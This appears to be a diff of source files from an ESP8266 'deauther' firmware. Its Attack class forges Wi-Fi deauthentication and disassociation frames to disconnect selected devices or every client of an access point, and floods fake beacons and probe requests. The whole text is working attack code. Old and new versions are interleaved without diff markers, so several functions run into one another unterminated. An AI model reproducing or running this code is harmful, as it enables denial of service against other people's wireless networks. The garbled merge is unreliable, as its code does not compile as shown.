return deauthDevice(accesspoints.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, accesspoints.getCh(num));
|
||||
}
|
||||
|
||||
bool Attack::deauthName(int num) {
|
||||
if (names.isStation(num)) {
|
||||
return deauthDevice(names.getBssid(num), names.getMac(num), settings::getAttackSettings().deauth_reason, names.getCh(num));
|
||||
} else {
|
||||
return deauthDevice(names.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, names.getCh(num));
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
|
||||
if (!stMac) return false; // exit when station mac is null
|
||||
|
||||
// Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
|
||||
|
||||
bool success = false;
|
||||
|
||||
// build deauth packet
|
||||
packetSize = sizeof(deauthPacket);
|
||||
|
||||
uint8_t deauthpkt[packetSize];
|
||||
|
||||
memcpy(deauthpkt, deauthPacket, packetSize);
|
||||
|
||||
memcpy(&deauthpkt[4], stMac, 6);
|
||||
memcpy(&deauthpkt[10], apMac, 6);
|
||||
memcpy(&deauthpkt[16], apMac, 6);
|
||||
deauthpkt[24] = reason;
|
||||
|
||||
// send deauth frame
|
||||
deauthpkt[0] = 0xc0;
|
||||
|
||||
if (sendPacket(deauthpkt, packetSize, ch, true)) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send disassociate frame
|
||||
uint8_t disassocpkt[packetSize];
|
||||
|
||||
memcpy(disassocpkt, deauthpkt, packetSize);
|
||||
|
||||
disassocpkt[0] = 0xa0;
|
||||
|
||||
if (sendPacket(disassocpkt, packetSize, ch, false)) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send another packet, this time from the station to the accesspoint
|
||||
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
|
||||
// build deauth packet
|
||||
memcpy(&disassocpkt[4], apMac, 6);
|
||||
memcpy(&disassocpkt[10], stMac, 6);
|
||||
memcpy(&disassocpkt[16], stMac, 6);
|
||||
|
||||
// send deauth frame
|
||||
disassocpkt[0] = 0xc0;
|
||||
|
||||
if (sendPacket(disassocpkt, packetSize, ch, false)) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send disassociate frame
|
||||
disassocpkt[0] = 0xa0;
|
||||
|
||||
if (sendPacket(disassocpkt, packetSize, ch, false)) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
}
|
||||
|
||||
if (success) deauth.time = currentTime;
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
bool Attack::sendBeacon(uint8_t tc) {
|
||||
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true);
|
||||
mac[5] = tc;
|
||||
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
|
||||
}
|
||||
|
||||
bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
|
||||
packetSize = sizeof(beaconPacket);
|
||||
|
||||
if (wpa2) {
|
||||
beaconPacket[34] = 0x31;
|
||||
} else {
|
||||
beaconPacket[34] = 0x21;
|
||||
packetSize -= 26;
|
||||
}
|
||||
|
||||
int ssidLen = strlen(ssid);
|
||||
|
||||
if (ssidLen > 32) ssidLen = 32;
|
||||
|
||||
memcpy(&beaconPacket[10], mac, 6);
|
||||
memcpy(&beaconPacket[16], mac, 6);
|
||||
memcpy(&beaconPacket[38], ssid, ssidLen);
|
||||
|
||||
beaconPacket[82] = ch;
|
||||
|
||||
// =====
|
||||
uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size
|
||||
uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer
|
||||
|
||||
memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer
|
||||
tmpPacket[37] = ssidLen; // update SSID length byte
|
||||
memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
|
||||
|
||||
bool success = sendPacket(tmpPacket, tmpPacketSize, ch, false);
|
||||
|
||||
if (success) {
|
||||
beacon.time = currentTime;
|
||||
beacon.packetCounter++;
|
||||
}
|
||||
|
||||
delete[] tmpPacket; // free memory of allocated buffer
|
||||
|
||||
return success;
|
||||
// =====
|
||||
}
|
||||
|
||||
bool Attack::sendProbe(uint8_t tc) {
|
||||
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true);
|
||||
mac[5] = tc;
|
||||
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
|
||||
}
|
||||
|
||||
bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
|
||||
packetSize = sizeof(probePacket);
|
||||
int ssidLen = strlen(ssid);
|
||||
|
||||
if (ssidLen > 32) ssidLen = 32;
|
||||
|
||||
memcpy(&probePacket[10], mac, 6);
|
||||
memcpy(&probePacket[26], ssid, ssidLen);
|
||||
|
||||
if (sendPacket(probePacket, packetSize, ch, false)) {
|
||||
probe.time = currentTime;
|
||||
probe.packetCounter++;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool Attack::send() {
|
||||
if (wifi_send_pkt_freedom(packet, packetSize, 0) == -1) {
|
||||
/*
|
||||
if(debug){
|
||||
Serial.print(packetSize);
|
||||
Serial.print(" : ");
|
||||
PrintHex8(packet, packetSize);
|
||||
Serial.println("");
|
||||
}
|
||||
*/
|
||||
return false;
|
||||
}
|
||||
delay(1); //less packets are beeing dropped
|
||||
return true;
|
||||
}
|
||||
|
||||
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch) {
|
||||
// Serial.println(bytesToStr(packet, packetSize));
|
||||
|
||||
// set channel
|
||||
setWifiChannel(ch, force_ch);
|
||||
|
||||
// sent out packet
|
||||
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
|
||||
|
||||
if (sent) ++tmpPacketRate;
|
||||
|
||||
return sent;
|
||||
void Attack::changeRandom(int num){
|
||||
randomMode = !randomMode;
|
||||
randomInterval = num;
|
||||
if(debug) Serial.println("changing randomMode: " + (String)randomMode);
|
||||
if(randomMode){
|
||||
if(debug) Serial.println(" generate random SSIDs");
|
||||
ssidList.clear();
|
||||
ssidList._random();
|
||||
randomCounter = 0;
|
||||
ssidChange = true;
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::enableOutput() {
|
||||
output = true;
|
||||
prntln(A_ENABLED_OUTPUT);
|
||||
void Attack::sendDeauths(Mac from, Mac to){
|
||||
for(int i=0;i<settings.attackPacketRate;i++){
|
||||
buildDeauth(from, to, 0xc0, settings.deauthReason );
|
||||
if(send()) packetsCounter[0]++;
|
||||
buildDeauth(from, to, 0xa0, settings.deauthReason );
|
||||
if(send()) packetsCounter[0]++;
|
||||
delay(3);
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::disableOutput() {
|
||||
output = false;
|
||||
prntln(A_DISABLED_OUTPUT);
|
||||
void Attack::run() {
|
||||
unsigned long currentMillis = millis();
|
||||
|
||||
/* =============== Deauth Attack =============== */
|
||||
if (isRunning[0] && currentMillis - prevTime[0] >= 1000) {
|
||||
if (debug) Serial.print("running " + (String)attackNames[0] + " attack...");
|
||||
prevTime[0] = millis();
|
||||
|
||||
for (int a = 0; a < apScan.results; a++) {
|
||||
if (apScan.isSelected(a)) {
|
||||
Mac _ap;
|
||||
int _ch = apScan.getAPChannel(a);
|
||||
_ap.set(apScan.aps._get(a));
|
||||
|
||||
wifi_set_channel(_ch);
|
||||
|
||||
int _selectedClients = 0;
|
||||
|
||||
for (int i = 0; i < clientScan.results; i++) {
|
||||
if (clientScan.getClientSelected(i)) {
|
||||
_selectedClients++;
|
||||
/*if (settings.channelHop) {
|
||||
for (int j = 1; j < maxChannel; j++) {
|
||||
wifi_set_channel(j);
|
||||
|
||||
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
|
||||
if (send()) packetsCounter[0]++;
|
||||
|
||||
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
|
||||
if (send()) packetsCounter[0]++;
|
||||
}
|
||||
} else {*/
|
||||
sendDeauths(_ap, clientScan.getClientMac(i));
|
||||
//}
|
||||
}
|
||||
}
|
||||
|
||||
if (_selectedClients == 0) {
|
||||
Mac _client;
|
||||
_client.set(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF);
|
||||
sendDeauths(_ap, _client);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
stati[0] = (String)packetsCounter[0] + "pkts/s";
|
||||
packetsCounter[0] = 0;
|
||||
if (debug) Serial.println(" done");
|
||||
if (settings.attackTimeout > 0) {
|
||||
attackTimeoutCounter[0]++;
|
||||
if (attackTimeoutCounter[0] > settings.attackTimeout) stop(0);
|
||||
}
|
||||
}
|
||||
|
||||
/* =============== Beacon Attack =============== */
|
||||
int beaconsPerSecond = 10;
|
||||
if(settings.beaconInterval) beaconsPerSecond = 1;
|
||||
if (isRunning[1] && currentMillis - prevTime[1] >= 1000/beaconsPerSecond) {
|
||||
if (debug) Serial.print("running " + (String)attackNames[1] + " attack...");
|
||||
prevTime[1] = millis();
|
||||
|
||||
for (int a = 0; a < ssidList.len; a++) {
|
||||
buildBeacon(beaconAdrs._get(a), ssidList.get(a), channels[a], ssidList.isEncrypted(a));
|
||||
if (send()) packetsCounter[1]++;
|
||||
}
|
||||
|
||||
stati[1] = (String)(packetsCounter[1] * beaconsPerSecond) + "pkts/s";
|
||||
packetsCounter[1] = 0;
|
||||
|
||||
macListChangeCounter++;
|
||||
if(settings.macInterval > 0){
|
||||
if (macListChangeCounter / beaconsPerSecond >= settings.macInterval) generate();
|
||||
}
|
||||
|
||||
if (debug) Serial.println(" done");
|
||||
if (settings.attackTimeout > 0) {
|
||||
attackTimeoutCounter[1]++;
|
||||
if (attackTimeoutCounter[1] / beaconsPerSecond > settings.attackTimeout) stop(1);
|
||||
}
|
||||
}
|
||||
|
||||
/* =============== Probe Request Attack =============== */
|
||||
if (isRunning[2] && currentMillis - prevTime[2] >= 1000) {
|
||||
if (debug) Serial.print("running " + (String)attackNames[2] + " attack...");
|
||||
prevTime[2] = millis();
|
||||
|
||||
for (int a = 0; a < ssidList.len; a++) {
|
||||
buildProbe(ssidList.get(a), beaconAdrs._get(a));
|
||||
if(send()) packetsCounter[2]++;
|
||||
if(send()) packetsCounter[2]++;
|
||||
}
|
||||
|
||||
stati[2] = (String)(packetsCounter[2]) + "pkts/s";
|
||||
packetsCounter[2] = 0;
|
||||
|
||||
macListChangeCounter++;
|
||||
if(settings.macInterval > 0){
|
||||
if (macListChangeCounter >= settings.macInterval) generate();
|
||||
}
|
||||
|
||||
if (debug) Serial.println("done");
|
||||
if (settings.attackTimeout > 0) {
|
||||
attackTimeoutCounter[2]++;
|
||||
if (attackTimeoutCounter[2] > settings.attackTimeout) stop(2);
|
||||
}
|
||||
}
|
||||
|
||||
//Random-Mode Interval
|
||||
if((isRunning[1] || isRunning[2]) && randomMode && currentMillis - randomTime >= 1000){
|
||||
randomTime = millis();
|
||||
if(randomCounter >= randomInterval){
|
||||
if(debug) Serial.println(" generate random SSIDs");
|
||||
ssidList.clear();
|
||||
ssidList._random();
|
||||
randomCounter = 0;
|
||||
ssidChange = true;
|
||||
}
|
||||
else randomCounter++;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
uint32_t Attack::getDeauthPkts() {
|
||||
return deauthPkts;
|
||||
void Attack::start(int num) {
|
||||
Serial.println(num);
|
||||
if(!isRunning[num]) {
|
||||
Serial.println(num);
|
||||
isRunning[num] = true;
|
||||
stati[num] = "starting";
|
||||
prevTime[num] = millis();_log(num);
|
||||
attackTimeoutCounter[num] = 0;
|
||||
refreshLed();
|
||||
if (debug) Serial.println("starting " + (String)attackNames[num] + " attack...");
|
||||
if (num == 0) attackMode_deauth = "STOP";
|
||||
else if(num == 1) attackMode_beacon = "STOP";
|
||||
if(!settings.multiAttacks){
|
||||
for (int i = 0; i < attacksNum; i++){
|
||||
if(i != num) stop(i);
|
||||
}
|
||||
}
|
||||
}else stop(num);
|
||||
}
|
||||
|
||||
uint32_t Attack::getBeaconPkts() {
|
||||
return beaconPkts;
|
||||
void Attack::stop(int num) {
|
||||
if(isRunning[num]) {
|
||||
if (debug) Serial.println("stopping " + (String)attackNames[num] + " attack...");
|
||||
if (num == 0) attackMode_deauth = "START";
|
||||
else if(num == 1) attackMode_beacon = "START";
|
||||
isRunning[num] = false;
|
||||
prevTime[num] = millis();
|
||||
refreshLed();
|
||||
}
|
||||
stati[num] = "ready";
|
||||
}
|
||||
|
||||
uint32_t Attack::getProbePkts() {
|
||||
return probePkts;
|
||||
void Attack::stopAll() {
|
||||
for (int i = 0; i < attacksNum; i++) stop(i);
|
||||
}
|
||||
|
||||
uint32_t Attack::getDeauthMaxPkts() {
|
||||
return deauth.maxPkts;
|
||||
void Attack::_log(int num){
|
||||
openLog();
|
||||
addLog((String)attackNames[num]);
|
||||
for(int a=0;a<apScan.results;a++){
|
||||
if(apScan.isSelected(a)){
|
||||
Mac _ap;
|
||||
_ap.set(apScan.aps._get(a));
|
||||
addLog(_ap.toString());
|
||||
}
|
||||
}
|
||||
addLog("-");
|
||||
for(int i=0;i<clientScan.results; i++) {
|
||||
if(clientScan.getClientSelected(i)) {
|
||||
addLog(clientScan.getClientMac(i).toString());
|
||||
}
|
||||
}
|
||||
closeLog();
|
||||
}
|
||||
|
||||
uint32_t Attack::getBeaconMaxPkts() {
|
||||
return beacon.maxPkts;
|
||||
size_t Attack::getSize(){
|
||||
if(apScan.selectedSum == 0) stati[0] = "no AP";
|
||||
|
||||
size_t jsonSize = 0;
|
||||
|
||||
String json = "{\"aps\":[";
|
||||
|
||||
int _selected = 0;
|
||||
for (int i = 0; i < apScan.results; i++) {
|
||||
if (apScan.isSelected(i)) {
|
||||
json += "\"" + apScan.getAPName(i) + "\",";
|
||||
_selected++;
|
||||
}
|
||||
}
|
||||
if (_selected > 0) json.remove(json.length() - 1);
|
||||
|
||||
jsonSize += json.length();
|
||||
|
||||
json = "],\"clients\":[";
|
||||
|
||||
_selected = 0;
|
||||
for (int i = 0; i < clientScan.results; i++) {
|
||||
if (clientScan.getClientSelected(i)) {
|
||||
json += "\"" + clientScan.getClientMac(i).toString() + " " + clientScan.getClientVendor(i) + " - " + clientScan.getClientName(i) + "\",";
|
||||
_selected++;
|
||||
}
|
||||
}
|
||||
if (_selected == 0) json += "\"FF:FF:FF:FF:FF:FF - BROADCAST\"";
|
||||
else json.remove(json.length() - 1);
|
||||
|
||||
jsonSize += json.length();
|
||||
|
||||
json = "],\"attacks\":[";
|
||||
for (int i = 0; i < attacksNum; i++) {
|
||||
json += "{";
|
||||
json += "\"name\":\"" + attackNames[i] + "\",";
|
||||
json += "\"status\":\"" + stati[i] + "\",";
|
||||
json += "\"running\":" + (String)isRunning[i] + "";
|
||||
json += "}";
|
||||
if (i != attacksNum - 1) json += ",";
|
||||
}
|
||||
json += "],";
|
||||
jsonSize += json.length();
|
||||
|
||||
if(ssidChange){
|
||||
json = "\"ssid\":[";
|
||||
jsonSize += json.length();
|
||||
for (int i = 0; i < ssidList.len; i++) {
|
||||
json = "[";
|
||||
json += "\"" + ssidList.get(i) + "\",";
|
||||
json += String( ssidList.isEncrypted(i) ) + "";
|
||||
Serial.print(ssidList.isEncrypted(i));
|
||||
json += "]";
|
||||
if (i != ssidList.len - 1) json += ",";
|
||||
jsonSize += json.length();
|
||||
}
|
||||
json = "],";
|
||||
jsonSize += json.length();
|
||||
}
|
||||
json = "\"randomMode\":" + (String)randomMode + "}";
|
||||
jsonSize += json.length();
|
||||
|
||||
return jsonSize;
|
||||
}
|
||||
|
||||
uint32_t Attack::getProbeMaxPkts() {
|
||||
return probe.maxPkts;
|
||||
void Attack::sendResults(){
|
||||
size_t _size = getSize();
|
||||
if (debug) Serial.print("getting attacks JSON ("+(String)_size+")...");
|
||||
sendHeader(200, "text/json", _size);
|
||||
|
||||
String json = "{\"aps\":[";
|
||||
|
||||
int _selected = 0;
|
||||
for (int i = 0; i < apScan.results; i++) {
|
||||
if (apScan.isSelected(i)) {
|
||||
json += "\"" + apScan.getAPName(i) + "\",";
|
||||
_selected++;
|
||||
}
|
||||
}
|
||||
if (_selected > 0) json.remove(json.length() - 1);
|
||||
sendToBuffer(json);
|
||||
|
||||
|
||||
json = "],\"clients\":[";
|
||||
|
||||
_selected = 0;
|
||||
for (int i = 0; i < clientScan.results; i++) {
|
||||
if (clientScan.getClientSelected(i)) {
|
||||
json += "\"" + clientScan.getClientMac(i).toString() + " " + clientScan.getClientVendor(i) + " - " + clientScan.getClientName(i) + "\",";
|
||||
_selected++;
|
||||
}
|
||||
}
|
||||
if (_selected == 0) json += "\"FF:FF:FF:FF:FF:FF - BROADCAST\"";
|
||||
else json.remove(json.length() - 1);
|
||||
|
||||
sendToBuffer(json);
|
||||
|
||||
json = "],\"attacks\":[";
|
||||
for (int i = 0; i < attacksNum; i++) {
|
||||
json += "{";
|
||||
json += "\"name\":\"" + attackNames[i] + "\",";
|
||||
json += "\"status\":\"" + stati[i] + "\",";
|
||||
json += "\"running\":" + (String)isRunning[i] + "";
|
||||
json += "}";
|
||||
if (i != attacksNum - 1) json += ",";
|
||||
}
|
||||
json += "],";
|
||||
sendToBuffer(json);
|
||||
|
||||
if(ssidChange){
|
||||
json = "\"ssid\":[";
|
||||
sendToBuffer(json);
|
||||
for (int i = 0; i < ssidList.len; i++) {
|
||||
json = "[";
|
||||
json += "\"" + ssidList.get(i) + "\",";
|
||||
json += (String)ssidList.isEncrypted(i) + "";
|
||||
json += "]";
|
||||
if (i != ssidList.len - 1) json += ",";
|
||||
sendToBuffer(json);
|
||||
}
|
||||
json = "],";
|
||||
sendToBuffer(json);
|
||||
ssidChange = false;
|
||||
}
|
||||
|
||||
json = "\"randomMode\":" + (String)randomMode + "}";
|
||||
sendToBuffer(json);
|
||||
|
||||
sendBuffer();
|
||||
if (debug) Serial.println("done");
|
||||
}
|
||||
|
||||
void Attack::refreshLed() {
|
||||
int numberRunning = 0;
|
||||
for (int i = 0; i < sizeof(isRunning); i++) {
|
||||
if (isRunning[i]) numberRunning++;
|
||||
//if(debug) Serial.println(numberRunning);
|
||||
}
|
||||
if (numberRunning >= 1 && settings.useLed) {
|
||||
if (debug) Serial.println("Attack LED : ON");
|
||||
digitalWrite(settings.ledPin, !settings.pinStateOff);
|
||||
}
|
||||
else if (numberRunning == 0 || !settings.useLed) {
|
||||
if (debug) Serial.println("Attack LED : OFF");
|
||||
digitalWrite(settings.ledPin, settings.pinStateOff);
|
||||
}
|
||||
}
|
||||
|
||||
uint32_t Attack::getPacketRate() {
|
||||
return packetRate;
|
||||
}
|
|
@ -1,204 +1,158 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
#ifndef Attack_h
|
||||
#define Attack_h
|
||||
|
||||
#pragma once
|
||||
#define maxChannel 11
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Stations.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
|
||||
extern SSIDs ssids;
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Scan scan;
|
||||
#include "Mac.h"
|
||||
#include "MacList.h"
|
||||
#include "APScan.h"
|
||||
#include "ClientScan.h"
|
||||
#include "Settings.h"
|
||||
#include "SSIDList.h"
|
||||
|
||||
extern uint8_t wifi_channel;
|
||||
extern uint8_t broadcast[6];
|
||||
extern uint32_t currentTime;
|
||||
#define attacksNum 3
|
||||
#define macListLen 64
|
||||
|
||||
extern bool macBroadcast(uint8_t* mac);
|
||||
extern void getRandomMac(uint8_t* mac);
|
||||
extern void setOutputPower(float dBm);
|
||||
extern String macToStr(const uint8_t* mac);
|
||||
extern String bytesToStr(const uint8_t* b, uint32_t size);
|
||||
extern void setWifiChannel(uint8_t ch, bool force);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern int8_t free80211_send(uint8_t* buffer, uint16_t len);
|
||||
extern void PrintHex8(uint8_t *data, uint8_t length);
|
||||
extern void getRandomVendorMac(uint8_t *buf);
|
||||
extern String data_getVendor(uint8_t first, uint8_t second, uint8_t third);
|
||||
extern const bool debug;
|
||||
extern void addLog(String str);
|
||||
extern void openLog();
|
||||
extern void closeLog();
|
||||
extern String attackMode_deauth;
|
||||
extern String attackMode_beacon;
|
||||
|
||||
class Attack {
|
||||
public:
|
||||
Attack();
|
||||
extern APScan apScan;
|
||||
extern ClientScan clientScan;
|
||||
extern Settings settings;
|
||||
extern SSIDList ssidList;
|
||||
|
||||
void start();
|
||||
void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout);
|
||||
void stop();
|
||||
void update();
|
||||
class Attack
|
||||
{
|
||||
public:
|
||||
Attack();
|
||||
void generate();
|
||||
void run();
|
||||
void start(int num);
|
||||
void stop(int num);
|
||||
void stopAll();
|
||||
void sendResults();
|
||||
size_t getSize();
|
||||
void refreshLed();
|
||||
void changeRandom(int num);
|
||||
|
||||
void enableOutput();
|
||||
void disableOutput();
|
||||
void status();
|
||||
String getStatusJSON();
|
||||
bool ssidChange = true;
|
||||
private:
|
||||
|
||||
bool deauthAP(int num);
|
||||
bool deauthStation(int num);
|
||||
bool deauthName(int num);
|
||||
bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch);
|
||||
void buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason);
|
||||
void buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt);
|
||||
void _log(int num);
|
||||
void buildProbe(String _ssid, Mac _mac);
|
||||
bool send();
|
||||
|
||||
bool sendBeacon(uint8_t tc);
|
||||
bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2);
|
||||
void sendDeauths(Mac from, Mac to);
|
||||
|
||||
//attack declarations
|
||||
const String attackNames[attacksNum] = {"Deauth", "Beacon", "Probe-Request"};
|
||||
|
||||
bool sendProbe(uint8_t tc);
|
||||
bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch);
|
||||
//attack infos
|
||||
String stati[attacksNum];
|
||||
unsigned int packetsCounter[attacksNum];
|
||||
bool isRunning[attacksNum];
|
||||
|
||||
bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch);
|
||||
MacList beaconAdrs;
|
||||
|
||||
bool isRunning();
|
||||
//packet buffer
|
||||
uint8_t packet[128];
|
||||
int packetSize;
|
||||
|
||||
uint32_t getDeauthPkts();
|
||||
uint32_t getBeaconPkts();
|
||||
uint32_t getProbePkts();
|
||||
uint32_t getDeauthMaxPkts();
|
||||
uint32_t getBeaconMaxPkts();
|
||||
uint32_t getProbeMaxPkts();
|
||||
//timestamp for running every attack
|
||||
unsigned long prevTime[attacksNum];
|
||||
|
||||
uint32_t getPacketRate();
|
||||
//packet declarations
|
||||
uint8_t deauthPacket[26] = {
|
||||
/* 0 - 1 */ 0xC0, 0x00, //type, subtype c0: deauth (a0: disassociate)
|
||||
/* 2 - 3 */ 0x00, 0x00, //duration (SDK takes care of that)
|
||||
/* 4 - 9 */ 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB,//reciever (target)
|
||||
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //source (ap)
|
||||
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //BSSID (ap)
|
||||
/* 22 - 23 */ 0x00, 0x00, //fragment & squence number
|
||||
/* 24 - 25 */ 0x01, 0x00 //reason code (1 = unspecified reason)
|
||||
};
|
||||
|
||||
private:
|
||||
void deauthUpdate();
|
||||
void deauthAllUpdate();
|
||||
void beaconUpdate();
|
||||
void probeUpdate();
|
||||
uint8_t beaconPacket_header[36] = {
|
||||
/* 0 - 1 */ 0x80, 0x00,
|
||||
/* 2 - 3 */ 0x00, 0x00, //beacon
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, //destination: broadcast
|
||||
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source
|
||||
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source
|
||||
/* 22 - 23 */ 0xc0, 0x6c,
|
||||
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00,
|
||||
/* 32 - 33 */ 0x64, 0x00, //0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
|
||||
/* 34 - 35 */ 0x01, 0x04
|
||||
/*,0x00, 0x06, //SSID size
|
||||
0x72, 0x72, 0x72, 0x72, 0x72, 0x72, //SSID
|
||||
>>beaconPacket_end<<*/
|
||||
};
|
||||
|
||||
void updateCounter();
|
||||
uint8_t beaconPacket_end[12] = {
|
||||
0x01, 0x08, 0x82, 0x84,
|
||||
0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01
|
||||
/*,channel*/
|
||||
};
|
||||
|
||||
bool running = false;
|
||||
bool output = true;
|
||||
uint8_t beaconWPA2tag[26] = {
|
||||
0x30, //RSN tag
|
||||
0x18, //tag length
|
||||
0x01, 0x00, //RSN version
|
||||
0x00, 0x0f, 0xac, 0x02, //cipher (TKIP)
|
||||
0x02, 0x00, //pair cipher
|
||||
0x00, 0x0f, 0xac, 0x04, //cipher (AES)
|
||||
0x00, 0x0f, 0xac, 0x02, //cipher (TKIP)
|
||||
0x01, 0x00, //AKM count
|
||||
0x00, 0x0f, 0xac, 0x02, //PSK
|
||||
0x00, 0x00 //RSN capabilities
|
||||
};
|
||||
|
||||
struct AttackType {
|
||||
bool active = false; // if attack is activated
|
||||
uint16_t packetCounter = 0; // how many packets are sent per second
|
||||
uint16_t maxPkts = 0; // how many packets should be sent per second
|
||||
uint8_t tc = 0; // target counter, i.e. which AP or SSID
|
||||
uint32_t time = 0; // time last packet was sent
|
||||
};
|
||||
uint8_t probePacket[25] = {
|
||||
/* 0 - 1 */ 0x40, 0x00, //Type: Probe Request
|
||||
/* 2 - 3 */ 0x00, 0x00, //Duration: 0 microseconds
|
||||
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Destination: Broadcast
|
||||
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, //Source: random MAC
|
||||
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //BSS Id: Broadcast
|
||||
/* 22 - 23 */ 0x00, 0x00, //Sequence number (will be replaced by the SDK)
|
||||
/* 24 */ 0x00 //Tag Number: SSID parameter set (0)
|
||||
/* ,0x06, //Tag length
|
||||
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA //SSID
|
||||
*/
|
||||
};
|
||||
|
||||
AttackType deauth;
|
||||
AttackType beacon;
|
||||
AttackType probe;
|
||||
bool deauthAll = false;
|
||||
uint8_t probePacket_RateTag[6] = {
|
||||
0x01, //Tag Number: Supported Rates (1)
|
||||
0x04, //Tag length: 4
|
||||
//Supported Rates:
|
||||
0x82, //1Mbit/s
|
||||
0x84, //2Mbit/s
|
||||
0x8b, //5.5Mbit/s
|
||||
0x96 //11Mbit/s
|
||||
};
|
||||
|
||||
uint32_t deauthPkts = 0;
|
||||
uint32_t beaconPkts = 0;
|
||||
uint32_t probePkts = 0;
|
||||
int macListChangeCounter = 0;
|
||||
int attackTimeoutCounter[attacksNum];
|
||||
int channels[macListLen];
|
||||
bool buildInLedStatus = false;
|
||||
|
||||
uint32_t tmpPacketRate = 0;
|
||||
uint32_t packetRate = 0;
|
||||
bool randomMode = false;
|
||||
int randomInterval = 5;
|
||||
int randomCounter = 0;
|
||||
long randomTime = 0;
|
||||
};
|
||||
|
||||
uint8_t apCount = 0;
|
||||
uint8_t stCount = 0;
|
||||
uint8_t nCount = 0;
|
||||
|
||||
int8_t tmpID = -1;
|
||||
|
||||
uint16_t packetSize = 0;
|
||||
uint32_t attackTime = 0; // for counting how many packets per second
|
||||
uint32_t attackStartTime = 0;
|
||||
uint32_t timeout = 0;
|
||||
|
||||
// random mac address for making the beacon packets
|
||||
uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 };
|
||||
|
||||
uint8_t deauthPacket[26] = {
|
||||
/* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
|
||||
/* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that)
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
|
||||
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
|
||||
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
|
||||
/* 22 - 23 */ 0x00, 0x00, // fragment & squence number
|
||||
/* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason)
|
||||
};
|
||||
|
||||
uint8_t probePacket[68] = {
|
||||
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
|
||||
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
|
||||
